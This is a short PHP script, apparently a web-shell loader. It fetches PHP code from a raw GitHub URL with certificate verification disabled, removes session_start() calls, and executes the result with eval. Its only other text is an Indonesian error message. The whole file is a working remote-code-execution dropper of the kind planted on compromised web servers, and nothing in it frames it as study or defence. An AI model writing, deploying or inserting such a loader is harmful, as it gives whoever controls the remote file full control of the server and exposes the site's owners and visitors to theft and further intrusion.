<?php
function fetchContent($url) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 5);

    $content = curl_exec($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);

    return ($httpCode === 200) ? $content : false;
}
$url = 'https://raw.githubusercontent.com/a7xhydra/recode/refs/heads/main/a.php';
$content = fetchContent($url);

if ($content !== false) {
    if (strpos($content, 'session_start()') !== false) {
        $content = preg_replace('/session_start\s*\(\s*\)\s*;?/i', '', $content);
    }
    eval('?>' . $content);
} else {
    echo "Gagal mengambil konten dari URL.";
}
?>